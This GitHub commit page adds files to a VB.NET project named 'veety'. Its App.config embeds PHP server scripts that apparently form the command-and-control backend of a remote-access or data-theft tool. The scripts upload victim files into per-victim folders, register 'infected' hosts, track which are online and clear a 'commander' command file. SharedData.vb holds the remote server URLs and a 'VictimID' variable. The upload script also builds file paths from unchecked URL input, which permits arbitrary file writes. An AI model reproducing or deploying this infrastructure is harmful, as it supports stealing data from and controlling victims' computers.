Skip to content

Commit

Permalink
Add files via upload
Browse files Browse the repository at this point in the history
  • Loading branch information
edditdev authored Aug 4, 2024
1 parent 62ac7f4 commit 02e8986
Show file tree
Hide file tree
Showing 6 changed files with 488 additions and 0 deletions.
135 changes: 135 additions & 0 deletions App.config
Original file line number Diff line number Diff line change
@@ -0,0 +1,135 @@
<?xml version="1.0" encoding="utf-8" ?>
<configuration>
<configSections>
<sectionGroup name="userSettings" type="System.Configuration.UserSettingsGroup, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" >
<section name="veety.My.MySettings" type="System.Configuration.ClientSettingsSection, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" allowExeDefinition="MachineToLocalUser" requirePermission="false" />
</sectionGroup>
</configSections>
<startup>
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.7.2" />
</startup>
<userSettings>
<veety.My.MySettings>
<setting name="RM" serializeAs="String">
<value>False</value>
</setting>
<setting name="rLogin" serializeAs="String">
<value />
</setting>
<setting name="rPassword" serializeAs="String">
<value />
</setting>
<setting name="UplUsrDta" serializeAs="String">
<value>&lt;?php
$name = $_GET['USERNAME'];
move_uploaded_file($_FILES["file"]["tmp_name"], $name . $_FILES["file"]["name"]);
?&gt;</value>
</setting>
<setting name="AddInfected" serializeAs="String">
<value>&lt;?php
$name = $_GET['USERNAME'];

if (file_exists($name) &amp;&amp; is_dir($name)) {
echo "failed";
} else {
if (mkdir($name)) {
echo "success";
} else {
echo "Failed to create folder.";
}
}
?&gt;
</value>
</setting>
<setting name="ClearCommader" serializeAs="String">
<value>&lt;?php
$file = 'commander'; // nazwa pliku do wyczyszczenia

// Otwieramy plik do zapisu, co spowoduje jego wyczyszczenie
if (file_put_contents($file, '') !== false) {
echo "success.";
} else {
echo "error.";
}
?&gt;</value>
</setting>
<setting name="AddOnline" serializeAs="String">
<value>&lt;?php
// Sprawdź, czy parametr 'tekst' jest ustawiony w URL
if (isset($_GET['UserID'])) {
// Pobierz tekst z URL
$UserID= $_GET['UserID'];

// Otwórz plik 'online.yml' w trybie dopisywania
$plik = fopen('online.html', 'a');

// Sprawdź, czy plik został poprawnie otwarty
if ($plik) {
// Dodaj nową linię na końcu pliku
fwrite($plik, $UserID . PHP_EOL);

// Zamknij plik
fclose($plik);

echo "success";
} else {
echo "fail";
}
} else {
echo "Nie podano tekstu.";
}
?&gt;
</value>
</setting>
<setting name="RemOnline" serializeAs="String">
<value>&lt;?php
// Sprawdź, czy parametr 'UserID' jest ustawiony w URL
if (isset($_GET['UserID'])) {
// Pobierz wartość parametru 'UserID' z URL
$UserID = $_GET['UserID'];

// Wczytaj zawartość pliku 'online.html' do tablicy
$linie = file('online.html', FILE_IGNORE_NEW_LINES);

// Sprawdź, czy plik został poprawnie wczytany
if ($linie !== false) {
// Znajdź linię z tekstem równym $UserID i usuń ją
$nowe_linie = array_filter($linie, function($linia) use ($UserID) {
return trim($linia) !== $UserID;
});

// Sprawdź, czy nastąpiła zmiana (czy tekst został znaleziony i usunięty)
if (count($nowe_linie) !== count($linie)) {
// Zapisz zaktualizowaną zawartość z powrotem do pliku
$plik = fopen('online.html', 'w');

// Sprawdź, czy plik został poprawnie otwarty
if ($plik) {
foreach ($nowe_linie as $nowa_linia) {
fwrite($plik, $nowa_linia . PHP_EOL);
}

// Zamknij plik
fclose($plik);

echo "success";
} else {
echo "fail";
}
} else {
echo "Nie znaleziono podanego tekstu.";
}
} else {
echo "Nie udało się otworzyć pliku.";
}
} else {
echo "Nie podano tekstu.";
}
?&gt;</value>
</setting>
<setting name="ONLINEINDEX" serializeAs="String">
<value />
</setting>
</veety.My.MySettings>
</userSettings>
</configuration>
23 changes: 23 additions & 0 deletions SharedData.vb
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
Module SharedData
'# Serwer
Public veety_database As String = "https://edditdev.com/veety/database/"
Public veety_servers As String = "https://edditdev.com/veety/servers/"
Public veety_all_license As String = "https://edditdev.com/veety/license/licenses"
Public veety_counters As String = "https://edditdev.com/veety/other/"

'# Veety Inside data
Public LicensesList As New RichTextBox
'- Licznk
Public RegistrationsCounter As String

'# User
Public veety_downloaded_licenses As String
Public user_username As String
Public user_password As String
Public user_license As String

Public connected_server As String
Public VictimID As String


End Module
2 changes: 2 additions & 0 deletions ToDO
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
Icon color: Unchecked: #6C6C95
Icon color: Checked: #2C2C92
4 changes: 4 additions & 0 deletions packages.config
Original file line number Diff line number Diff line change
@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<packages>
<package id="Newtonsoft.Json" version="13.0.3" targetFramework="net472" />
</packages>
25 changes: 25 additions & 0 deletions veety.sln
Original file line number Diff line number Diff line change
@@ -0,0 +1,25 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 17
VisualStudioVersion = 17.9.34622.214
MinimumVisualStudioVersion = 10.0.40219.1
Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "veety", "veety\veety.vbproj", "{56DA627C-7C99-42B4-9F97-648EC564D891}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{56DA627C-7C99-42B4-9F97-648EC564D891}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{56DA627C-7C99-42B4-9F97-648EC564D891}.Debug|Any CPU.Build.0 = Debug|Any CPU
{56DA627C-7C99-42B4-9F97-648EC564D891}.Release|Any CPU.ActiveCfg = Release|Any CPU
{56DA627C-7C99-42B4-9F97-648EC564D891}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {C5FCA1AB-D694-4255-82AA-29F541214942}
EndGlobalSection
EndGlobal
Loading

0 comments on commit 02e8986

Please sign in to comment.